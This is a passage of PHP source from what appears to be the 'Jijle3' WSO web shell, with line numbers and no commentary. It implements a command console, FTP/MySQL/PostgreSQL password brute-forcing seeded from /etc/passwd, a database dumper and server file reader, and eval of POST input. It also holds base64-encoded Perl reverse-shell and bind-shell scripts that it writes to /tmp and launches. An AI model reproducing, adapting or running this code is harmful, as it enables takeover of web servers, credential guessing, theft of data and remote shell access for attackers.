3182 echo '</select><input type=button onclick="add(d.cf.alias.value);if(d.cf.ajax.checked){a(null,null,d.cf.alias.value,d.cf.show_errors.checked?1:\'\');}else{g(null,null,d.cf.alias.value,d.cf.show_errors.checked?1:\'\');}" value=">>"> <nobr><input type=checkbox name=ajax value=1 '.(@$_SESSION[md5($_SERVER['HTTP_HOST']).'ajax']?'checked':'').'> send using AJAX <input type=checkbox name=show_errors value=1 '.(!empty($_POST['p2'])||$_SESSION[md5($_SERVER['HTTP_HOST']).'stderr_to_out']?'checked':'').'> redirect stderr to stdout (2>&1)</nobr><br/><textarea class=bigarea name=output style="border-bottom:0;margin:0;" readonly>';
3183 if(!empty($_POST['p1'])) {
3184 echo htmlspecialchars("$ ".$_POST['p1']."\n".wsoEx($_POST['p1']));
3185 }
3186 echo '</textarea><table cellpadding=0 cellspacing=0 width="100%"><tr><td width="1%">$</td><td><input type=text name=cmd style="border:0px;width:100%;" onkeydown="kp(event);"></td></tr></table>';
3187 echo '</form></div><script>d.cf.cmd.focus();</script>';
3188 wsoFooter();
3189}
3190
3191function actionLogout() {
3192 session_destroy();
3193 die('bye!');
3194}
3195
3196function actionSelfRemove() {
3197
3198 if($_POST['p1'] == 'yes')
3199 if(@unlink(preg_replace('!\(\d+\)\s.*!', '', __FILE__)))
3200 die('Salam Alaykoum ! See You Soon ♥');
3201 else
3202 echo 'unlink error!';
3203 if($_POST['p1'] != 'yes')
3204 wsoHeader();
3205 echo '<h1>Suicide</h1><div class=content>Do You Want To Delete Jijle3 Shell ?<br><a href=# onclick="g(null,null,\'yes\')">Yes Please</a></div>';
3206 wsoFooter();
3207}
3208
3209function actionBruteforce() {
3210 wsoHeader();
3211 if( isset($_POST['proto']) ) {
3212 echo '<h1>Results</h1><div class=content><span>Type:</span> '.htmlspecialchars($_POST['proto']).' <span>Server:</span> '.htmlspecialchars($_POST['server']).'<br>';
3213 if( $_POST['proto'] == 'ftp' ) {
3214 function bruteForce($ip,$port,$login,$pass) {
3215 $fp = @ftp_connect($ip, $port?$port:21);
3216 if(!$fp) return false;
3217 $res = @ftp_login($fp, $login, $pass);
3218 @ftp_close($fp);
3219 return $res;
3220 }
3221 } elseif( $_POST['proto'] == 'mysql' ) {
3222 function bruteForce($ip,$port,$login,$pass) {
3223 $res = @mysql_connect($ip.':'.$port?$port:3306, $login, $pass);
3224 @mysql_close($res);
3225 return $res;
3226 }
3227 } elseif( $_POST['proto'] == 'pgsql' ) {
3228 function bruteForce($ip,$port,$login,$pass) {
3229 $str = "host='".$ip."' port='".$port."' user='".$login."' password='".$pass."' dbname=postgres";
3230 $res = @pg_connect($str);
3231 @pg_close($res);
3232 return $res;
3233 }
3234 }
3235 $success = 0;
3236 $attempts = 0;
3237 $server = explode(":", $_POST['server']);
3238 if($_POST['type'] == 1) {
3239 $temp = @file('/etc/passwd');
3240 if( is_array($temp) )
3241 foreach($temp as $line) {
3242 $line = explode(":", $line);
3243 ++$attempts;
3244 if( bruteForce(@$server[0],@$server[1], $line[0], $line[0]) ) {
3245 $success++;
3246 echo '<b>'.htmlspecialchars($line[0]).'</b>:'.htmlspecialchars($line[0]).'<br>';
3247 }
3248 if(@$_POST['reverse']) {
3249 $tmp = "";
3250 for($i=strlen($line[0])-1; $i>=0; --$i)
3251 $tmp .= $line[0][$i];
3252 ++$attempts;
3253 if( bruteForce(@$server[0],@$server[1], $line[0], $tmp) ) {
3254 $success++;
3255 echo '<b>'.htmlspecialchars($line[0]).'</b>:'.htmlspecialchars($tmp);
3256 }
3257 }
3258 }
3259 } elseif($_POST['type'] == 2) {
3260 $temp = @file($_POST['dict']);
3261 if( is_array($temp) )
3262 foreach($temp as $line) {
3263 $line = trim($line);
3264 ++$attempts;
3265 if( bruteForce($server[0],@$server[1], $_POST['login'], $line) ) {
3266 $success++;
3267 echo '<b>'.htmlspecialchars($_POST['login']).'</b>:'.htmlspecialchars($line).'<br>';
3268 }
3269 }
3270 }
3271 echo "<span>Attempts:</span> $attempts <span>Success:</span> $success</div><br>";
3272 }
3273 echo '<center><h1>FTP bruteforce</h1><div class=content><table><form method=post><tr><td><span>Type</span></td><td><select name=proto><option value=ftp>FTP</option><option value=mysql>MySql</option><option value=pgsql>PostgreSql</option></select></td></tr><tr><td><input type=hidden name=c value="'.htmlspecialchars($GLOBALS['cwd']).'"><input type=hidden name=a value="'.htmlspecialchars($_POST['a']).'"><input type=hidden name=charset value="'.htmlspecialchars($_POST['charset']).'"><span>Server:port</span></td><td><input type=text name=server value="127.0.0.1"></td></tr><tr><td><span>Brute type</span></td><td><label><input type=radio name=type value="1" checked> /etc/passwd</label></td></tr><tr><td></td><td><label style="padding-left:15px"><input type=checkbox name=reverse value=1 checked> reverse (login -> nigol)</label></td></tr><tr><td></td><td><label><input type=radio name=type value="2"> Dictionary</label></td></tr><tr><td></td><td><table style="padding-left:15px"><tr><td><span>Login</span></td><td><input type=text name=login value="root"></td></tr><tr><td><span>Dictionary</span></td><td><input type=text name=dict value="'.htmlspecialchars($GLOBALS['cwd']).'passwd.dic"></td></tr></table></td></tr><tr><td></td><td><input type=submit value=">>"></td></tr></form></table>';
3274 echo '</div><br>';
3275 wsoFooter();
3276}
3277
3278function actionSql() {
3279 class DbClass {
3280 var $type;
3281 var $link;
3282 var $res;
3283 function DbClass($type) {
3284 $this->type = $type;
3285 }
3286 function connect($host, $user, $pass, $dbname){
3287 switch($this->type) {
3288 case 'mysql':
3289 if( $this->link = @mysql_connect($host,$user,$pass,true) ) return true;
3290 break;
3291 case 'pgsql':
3292 $host = explode(':', $host);
3293 if(!$host[1]) $host[1]=5432;
3294 if( $this->link = @pg_connect("host={$host[0]} port={$host[1]} user=$user password=$pass dbname=$dbname") ) return true;
3295 break;
3296 }
3297 return false;
3298 }
3299 function selectdb($db) {
3300 switch($this->type) {
3301 case 'mysql':
3302 if (@mysql_select_db($db))return true;
3303 break;
3304 }
3305 return false;
3306 }
3307 function query($str) {
3308 switch($this->type) {
3309 case 'mysql':
3310 return $this->res = @mysql_query($str);
3311 break;
3312 case 'pgsql':
3313 return $this->res = @pg_query($this->link,$str);
3314 break;
3315 }
3316 return false;
3317 }
3318 function fetch() {
3319 $res = func_num_args()?func_get_arg(0):$this->res;
3320 switch($this->type) {
3321 case 'mysql':
3322 return @mysql_fetch_assoc($res);
3323 break;
3324 case 'pgsql':
3325 return @pg_fetch_assoc($res);
3326 break;
3327 }
3328 return false;
3329 }
3330 function listDbs() {
3331 switch($this->type) {
3332 case 'mysql':
3333 return $this->query("SHOW databases");
3334 break;
3335 case 'pgsql':
3336 return $this->res = $this->query("SELECT datname FROM pg_database WHERE datistemplate!='t'");
3337 break;
3338 }
3339 return false;
3340 }
3341 function listTables() {
3342 switch($this->type) {
3343 case 'mysql':
3344 return $this->res = $this->query('SHOW TABLES');
3345 break;
3346 case 'pgsql':
3347 return $this->res = $this->query("select table_name from information_schema.tables where table_schema != 'information_schema' AND table_schema != 'pg_catalog'");
3348 break;
3349 }
3350 return false;
3351 }
3352 function error() {
3353 switch($this->type) {
3354 case 'mysql':
3355 return @mysql_error();
3356 break;
3357 case 'pgsql':
3358 return @pg_last_error();
3359 break;
3360 }
3361 return false;
3362 }
3363 function setCharset($str) {
3364 switch($this->type) {
3365 case 'mysql':
3366 if(function_exists('mysql_set_charset'))
3367 return @mysql_set_charset($str, $this->link);
3368 else
3369 $this->query('SET CHARSET '.$str);
3370 break;
3371 case 'pgsql':
3372 return @pg_set_client_encoding($this->link, $str);
3373 break;
3374 }
3375 return false;
3376 }
3377 function loadFile($str) {
3378 switch($this->type) {
3379 case 'mysql':
3380 return $this->fetch($this->query("SELECT LOAD_FILE('".addslashes($str)."') as file"));
3381 break;
3382 case 'pgsql':
3383 $this->query("CREATE TABLE wso2(file text);COPY wso2 FROM '".addslashes($str)."';select file from wso2;");
3384 $r=array();
3385 while($i=$this->fetch())
3386 $r[] = $i['file'];
3387 $this->query('drop table wso2');
3388 return array('file'=>implode("\n",$r));
3389 break;
3390 }
3391 return false;
3392 }
3393 function dump($table, $fp = false) {
3394 switch($this->type) {
3395 case 'mysql':
3396 $res = $this->query('SHOW CREATE TABLE `'.$table.'`');
3397 $create = mysql_fetch_array($res);
3398 $sql = $create[1].";\n";
3399 if($fp) fwrite($fp, $sql); else echo($sql);
3400 $this->query('SELECT * FROM `'.$table.'`');
3401 $head = true;
3402 while($item = $this->fetch()) {
3403 $columns = array();
3404 foreach($item as $k=>$v) {
3405 if($v == null)
3406 $item[$k] = "NULL";
3407 elseif(is_numeric($v))
3408 $item[$k] = $v;
3409 else
3410 $item[$k] = "'".@mysql_real_escape_string($v)."'";
3411 $columns[] = "`".$k."`";
3412 }
3413 if($head) {
3414 $sql = 'INSERT INTO `'.$table.'` ('.implode(", ", $columns).") VALUES \n\t(".implode(", ", $item).')';
3415 $head = false;
3416 } else
3417 $sql = "\n\t,(".implode(", ", $item).')';
3418 if($fp) fwrite($fp, $sql); else echo($sql);
3419 }
3420 if(!$head)
3421 if($fp) fwrite($fp, ";\n\n"); else echo(";\n\n");
3422 break;
3423 case 'pgsql':
3424 $this->query('SELECT * FROM '.$table);
3425 while($item = $this->fetch()) {
3426 $columns = array();
3427 foreach($item as $k=>$v) {
3428 $item[$k] = "'".addslashes($v)."'";
3429 $columns[] = $k;
3430 }
3431 $sql = 'INSERT INTO '.$table.' ('.implode(", ", $columns).') VALUES ('.implode(", ", $item).');\n";
3432 if($fp) fwrite($fp, $sql); else echo($sql);
3433 }
3434 break;
3435 }
3436 return false;
3437 }
3438 };
3439 $db = new DbClass($_POST['type']);
3440 if(@$_POST['p2']=='download') {
3441 $db->connect($_POST['sql_host'], $_POST['sql_login'], $_POST['sql_pass'], $_POST['sql_base']);
3442 $db->selectdb($_POST['sql_base']);
3443 switch($_POST['charset']) {
3444 case "Windows-1251": $db->setCharset('cp1251'); break;
3445 case "UTF-8": $db->setCharset('utf8'); break;
3446 case "KOI8-R": $db->setCharset('koi8r'); break;
3447 case "KOI8-U": $db->setCharset('koi8u'); break;
3448 case "cp866": $db->setCharset('cp866'); break;
3449 }
3450 if(empty($_POST['file'])) {
3451 ob_start("ob_gzhandler", 4096);
3452 header("Content-Disposition: attachment; filename=dump.sql");
3453 header("Content-Type: text/plain");
3454 foreach($_POST['tbl'] as $v)
3455 $db->dump($v);
3456 exit;
3457 } elseif($fp = @fopen($_POST['file'], 'w')) {
3458 foreach($_POST['tbl'] as $v)
3459 $db->dump($v, $fp);
3460 fclose($fp);
3461 unset($_POST['p2']);
3462 } else
3463 die('<script>alert("Error! Can\'t open file");window.history.back(-1)</script>');
3464 }
3465 wsoHeader();
3466 echo "
3467<center>
3468<h1>Sql browser</h1><div class=content>
3469<form name='sf' method='post' onsubmit='fs(this);'><table cellpadding='2' cellspacing='0'><tr>
3470<td>Type</td><td>Host</td><td>Login</td><td>Password</td><td>Database</td><td></td></tr><tr>
3471<input type=hidden name=a value=Sql><input type=hidden name=p1 value='query'><input type=hidden name=p2 value=''><input type=hidden name=c value='". htmlspecialchars($GLOBALS['cwd']) ."'><input type=hidden name=charset value='". (isset($_POST['charset'])?$_POST['charset']:'') ."'>
3472<td><select name='type'><option value='mysql' ";
3473 if(@$_POST['type']=='mysql')echo 'selected';
3474echo ">MySql</option><option value='pgsql' ";
3475if(@$_POST['type']=='pgsql')echo 'selected';
3476echo ">PostgreSql</option></select></td>
3477<td><input type=text name=sql_host value='". (empty($_POST['sql_host'])?'localhost':htmlspecialchars($_POST['sql_host'])) ."'></td>
3478<td><input type=text name=sql_login value='". (empty($_POST['sql_login'])?'root':htmlspecialchars($_POST['sql_login'])) ."'></td>
3479<td><input type=text name=sql_pass value='". (empty($_POST['sql_pass'])?'':htmlspecialchars($_POST['sql_pass'])) ."'></td><td>";
3480 $tmp = "<input type=text name=sql_base value=''>";
3481 if(isset($_POST['sql_host'])){
3482 if($db->connect($_POST['sql_host'], $_POST['sql_login'], $_POST['sql_pass'], $_POST['sql_base'])) {
3483 switch($_POST['charset']) {
3484 case "Windows-1251": $db->setCharset('cp1251'); break;
3485 case "UTF-8": $db->setCharset('utf8'); break;
3486 case "KOI8-R": $db->setCharset('koi8r'); break;
3487 case "KOI8-U": $db->setCharset('koi8u'); break;
3488 case "cp866": $db->setCharset('cp866'); break;
3489 }
3490 $db->listDbs();
3491 echo "<select name=sql_base><option value=''></option>";
3492 while($item = $db->fetch()) {
3493 list($key, $value) = each($item);
3494 echo '<option value="'.$value.'" '.($value==$_POST['sql_base']?'selected':'').'>'.$value.'</option>';
3495 }
3496 echo '</select>';
3497 }
3498 else echo $tmp;
3499 }else
3500 echo $tmp;
3501 echo "</td>
3502
3503 <td><input type=submit value='>>' onclick='fs(d.sf);'></td>
3504 <td><input type=checkbox name=sql_count value='on'" . (empty($_POST['sql_count'])?'':' checked') . "> count the number of rows</td>
3505 </tr>
3506 </table>
3507 <script>
3508 s_db='".@addslashes($_POST['sql_base'])."';
3509 function fs(f) {
3510 if(f.sql_base.value!=s_db) { f.onsubmit = function() {};
3511 if(f.p1) f.p1.value='';
3512 if(f.p2) f.p2.value='';
3513 if(f.p3) f.p3.value='';
3514 }
3515 }
3516 function st(t,l) {
3517 d.sf.p1.value = 'select';
3518 d.sf.p2.value = t;
3519 if(l && d.sf.p3) d.sf.p3.value = l;
3520 d.sf.submit();
3521 }
3522 function is() {
3523 for(i=0;i<d.sf.elements['tbl[]'].length;++i)
3524 d.sf.elements['tbl[]'][i].checked = !d.sf.elements['tbl[]'][i].checked;
3525 }
3526 </script>";
3527 if(isset($db) && $db->link){
3528 echo "<br/><table width=100% cellpadding=2 cellspacing=0>";
3529 if(!empty($_POST['sql_base'])){
3530 $db->selectdb($_POST['sql_base']);
3531 echo "<tr><td width=1 style='border-top:2px solid #666;'><span>Tables:</span><br><br>";
3532 $tbls_res = $db->listTables();
3533 while($item = $db->fetch($tbls_res)) {
3534 list($key, $value) = each($item);
3535 if(!empty($_POST['sql_count']))
3536 $n = $db->fetch($db->query('SELECT COUNT(*) as n FROM '.$value.''));
3537 $value = htmlspecialchars($value);
3538 echo "<nobr><input type='checkbox' name='tbl[]' value='".$value."'> <a href=# onclick=\"st('".$value."',1)\">".$value."</a>" . (empty($_POST['sql_count'])?' ':" <small>({$n['n']})</small>") . "</nobr><br>";
3539 }
3540 echo "<input type='checkbox' onclick='is();'> <input type=button value='Dump' onclick='document.sf.p2.value=\"download\";document.sf.submit();'><br>File path:<input type=text name=file value='dump.sql'></td><td style='border-top:2px solid #666;'>";
3541 if(@$_POST['p1'] == 'select') {
3542 $_POST['p1'] = 'query';
3543 $_POST['p3'] = $_POST['p3']?$_POST['p3']:1;
3544 $db->query('SELECT COUNT(*) as n FROM ' . $_POST['p2']);
3545 $num = $db->fetch();
3546 $pages = ceil($num['n'] / 30);
3547 echo "<script>d.sf.onsubmit=function(){st(\"" . $_POST['p2'] . "\", d.sf.p3.value)}</script><span>".$_POST['p2']."</span> ({$num['n']} records) Page # <input type=text name='p3' value=" . ((int)$_POST['p3']) . ">";
3548 echo " of $pages";
3549 if($_POST['p3'] > 1)
3550 echo " <a href=# onclick='st(\"" . $_POST['p2'] . '", ' . ($_POST['p3']-1) . ")'>< Prev</a>";
3551 if($_POST['p3'] < $pages)
3552 echo " <a href=# onclick='st(\"" . $_POST['p2'] . '", ' . ($_POST['p3']+1) . ")'>Next ></a>";
3553 $_POST['p3']--;
3554 if($_POST['type']=='pgsql')
3555 $_POST['p2'] = 'SELECT * FROM '.$_POST['p2'].' LIMIT 30 OFFSET '.($_POST['p3']*30);
3556 else
3557 $_POST['p2'] = 'SELECT * FROM `'.$_POST['p2'].'` LIMIT '.($_POST['p3']*30).',30';
3558 echo "<br><br>";
3559 }
3560 if((@$_POST['p1'] == 'query') && !empty($_POST['p2'])) {
3561 $db->query(@$_POST['p2']);
3562 if($db->res !== false) {
3563 $title = false;
3564 echo '<table width=100% cellspacing=1 cellpadding=2 class=main style="background-color:#292929">';
3565 $line = 1;
3566 while($item = $db->fetch()) {
3567 if(!$title) {
3568 echo '<tr>';
3569 foreach($item as $key => $value)
3570 echo '<th>'.$key.'</th>';
3571 reset($item);
3572 $title=true;
3573 echo '</tr><tr>';
3574 $line = 2;
3575 }
3576 echo '<tr class="l'.$line.'">';
3577 $line = $line==1?2:1;
3578 foreach($item as $key => $value) {
3579 if($value == null)
3580 echo '<td><i>null</i></td>';
3581 else
3582 echo '<td>'.nl2br(htmlspecialchars($value)).'</td>';
3583 }
3584 echo '</tr>';
3585 }
3586 echo '</table>';
3587 } else {
3588 echo '<div><b>Error:</b> '.htmlspecialchars($db->error()).'</div>';
3589 }
3590 }
3591 echo "<br></form><form onsubmit='d.sf.p1.value=\"query\";d.sf.p2.value=this.query.value;document.sf.submit();return false;'><textarea name='query' style='width:100%;height:100px'>";
3592 if(!empty($_POST['p2']) && ($_POST['p1'] != 'loadfile'))
3593 echo htmlspecialchars($_POST['p2']);
3594 echo "</textarea><br/><input type=submit value='Execute'>";
3595 echo "</td></tr>";
3596 }
3597 echo "</table></form><br/>";
3598 if($_POST['type']=='mysql') {
3599 $db->query("SELECT 1 FROM mysql.user WHERE concat(`user`, '@', `host`) = USER() AND `File_priv` = 'y'");
3600 if($db->fetch())
3601 echo "<form onsubmit='d.sf.p1.value=\"loadfile\";document.sf.p2.value=this.f.value;document.sf.submit();return false;'><span>Load file</span> <input class='toolsInp' type=text name=f><input type=submit value='>>'></form>";
3602 }
3603 if(@$_POST['p1'] == 'loadfile') {
3604 $file = $db->loadFile($_POST['p2']);
3605 echo '<pre class=ml1>'.htmlspecialchars($file['file']).'</pre>';
3606 }
3607 } else {
3608 echo htmlspecialchars($db->error());
3609 }
3610 echo '</div>';
3611 wsoFooter();
3612}
3613function actionNetwork() {
3614 wsoHeader();$back_connect_p="IyEvdXNyL2Jpbi9wZXJsDQp1c2UgU29ja2V0Ow0KJGlhZGRyPWluZXRfYXRvbigkQVJHVlswXSkgfHwgZGllKCJFcnJvcjogJCFcbiIpOw0KJHBhZGRyPXNvY2thZGRyX2luKCRBUkdWWzFdLCAkaWFkZHIpIHx8IGRpZSgiRXJyb3I6ICQhXG4iKTsNCiRwcm90bz1nZXRwcm90b2J5bmFtZSgndGNwJyk7DQokc3lzdGVtPSAnZWNobyAiYHVuYW1lIC1hYCI7JzsNCiRzeXN0ZW0xPSAnZWNobyAiYGlkYCI7JzsNCiRzeXN0ZW0yPSAnZWNobyAiYHB3ZGAiOyc7DQpzb2NrZXQoU09DS0VULCBQRl9JTkVULCBTT0NLX1NUUkVBTSwgJHByb3RvKSB8fCBkaWUoIkVycm9yOiAkIVxuIik7DQpjb25uZWN0KFNPQ0tFVCwgJHBhZGRyKSB8fCBkaWUoIkVycm9yOiAkIVxuIik7DQpwcmludCAiWyBKaWpsZTMgU2hlbGwgfCBDb2RlZCBCeSBQaGVub21lbmUgRHogXVxuIjsNCm9wZW4oU1RESU4sICI+JlNPQ0tFVCIpOw0Kb3BlbihTVERPVVQsICI+JlNPQ0tFVCIpOw0Kb3BlbihTVERFUlIsICI+JlNPQ0tFVCIpOw0KcHJpbnQgIlxuIFsrXSBQaGVub21lbmUgRHogW01hcnR5cnMgQ3Jld10gQmFjay1Db25uZWN0IFsrXVxuIjsNCnByaW50ICJcblsrXSBCaXNtIEFsbGFoIFsrXVxuIjsNCnByaW50ICJcblN5c3RlbSA+ICI7IA0Kc3lzdGVtKCRzeXN0ZW0pOw0KcHJpbnQgIlxuUGVybWlzc2lvbiA+ICI7IA0Kc3lzdGVtKCRzeXN0ZW0xKTsNCnByaW50ICJcbkRpcmVjdG9yeSA+ICI7IA0Kc3lzdGVtKCRzeXN0ZW0yKTsNCnN5c3RlbSgnL2Jpbi9zaCAtaScpOw0KY2xvc2UoU1RESU4pOw0KY2xvc2UoU1RET1VUKTsNCmNsb3NlKFNUREVSUik7==";$bind_port_p="IyEvdXNyL2Jpbi9wZXJsDQokU0hFTEw9Ii9iaW4vc2ggLWkiOw0KaWYgKEBBUkdWIDwgMSkgeyBleGl0KDEpOyB9DQp1c2UgU29ja2V0Ow0Kc29ja2V0KFMsJlBGX0lORVQsJlNPQ0tfU1RSRUFNLGdldHByb3RvYnluYW1lKCd0Y3AnKSkgfHwgZGllICJDYW50IGNyZWF0ZSBzb2NrZXRcbiI7DQpzZXRzb2Nrb3B0KFMsU09MX1NPQ0tFVCxTT19SRVVTRUFERFIsMSk7DQpiaW5kKFMsc29ja2FkZHJfaW4oJEFSR1ZbMF0sSU5BRERSX0FOWSkpIHx8IGRpZSAiQ2FudCBvcGVuIHBvcnRcbiI7DQpsaXN0ZW4oUywzKSB8fCBkaWUgIkNhbnQgbGlzdGVuIHBvcnRcbiI7DQp3aGlsZSgxKSB7DQoJYWNjZXB0KENPTk4sUyk7DQoJaWYoISgkcGlkPWZvcmspKSB7DQoJCWRpZSAiQ2Fubm90IGZvcmsiIGlmICghZGVmaW5lZCAkcGlkKTsNCgkJb3BlbiBTVERJTiwiPCZDT05OIjsNCgkJb3BlbiBTVERPVVQsIj4mQ09OTiI7DQoJCW9wZW4gU1RERVJSLCI+JkNPTk4iOw0KCQlleGVjICRTSEVMTCB8fCBkaWUgcHJpbnQgQ09OTiAiQ2FudCBleGVjdXRlICRTSEVMTFxuIjsNCgkJY2xvc2UgQ09OTjsNCgkJZXhpdCAwOw0KCX0NCn0=";
3615 echo "<h1>Back Connect</h1><div class=content><form name='nfp' onSubmit=\"g(null,null,'bpp',this.port.value);return false;\"><span>Bind port to /bin/sh [perl]</span><br/>Port: <input type='text' name='port' value='21'> <input type=submit value='>>'></form><form name='nfp' onSubmit=\"g(null,null,'bcp',this.server.value,this.port.value);return false;\"><span>Back-connect [perl]</span><br/>Server: <input type='text' name='server' value='". $_SERVER['REMOTE_ADDR'] ."'> Port: <input type='text' name='port' value='21'> <input type=submit value='>>'></form><br>";
3616if(isset($_POST['p1'])) {function cf($f,$t) {$w = @fopen($f,"w") or @function_exists('file_put_contents');if($w){@fwrite($w,@base64_decode($t));@fclose($w);}}if($_POST['p1'] == 'bpp') {cf("/tmp/bp.pl",$bind_port_p);
3617 $out = wsoEx("perl /tmp/bp.pl ".$_POST['p2']." 1>/dev/null 2>&1 &");
3618 sleep(1);
3619 echo "<pre class=ml1>$out\n".wsoEx("ps aux | grep bp.pl")."</pre>";
3620 unlink("/tmp/bp.pl");
3621 }
3622 if($_POST['p1'] == 'bcp') {
3623 cf("/tmp/bc.pl",$back_connect_p);
3624 $out = wsoEx("perl /tmp/bc.pl ".$_POST['p2']." ".$_POST['p3']." 1>/dev/null 2>&1 &");
3625 sleep(1);
3626 echo "<pre class=ml1>$out\n".wsoEx("ps aux | grep bc.pl")."</pre>";
3627 unlink("/tmp/bc.pl");
3628 }
3629 }
3630 echo '</div>';
3631 wsoFooter();
3632}
3633function actionRC() {
3634 if(!@$_POST['p1']) {
3635 $a = array(
3636 "uname" => php_uname(),
3637 "php_version" => phpversion(),
3638 "wso_version" => WSO_VERSION,
3639 "safemode" => @ini_get('safe_mode')
3640 );
3641 echo serialize($a);
3642 } else {
3643 eval($_POST['p1']);
3644 }
3645}
3646if( empty($_POST['a']) )
3647 if(isset($default_action) && function_exists('action' . $default_action))
3648 $_POST['a'] = $default_action;
3649 else
3650 $_POST['a'] = 'Home';
3651if( !empty($_POST['a']) && function_exists('action' . $_POST['a']) )
3652 call_user_func('action' . $_POST['a']);
3653exit;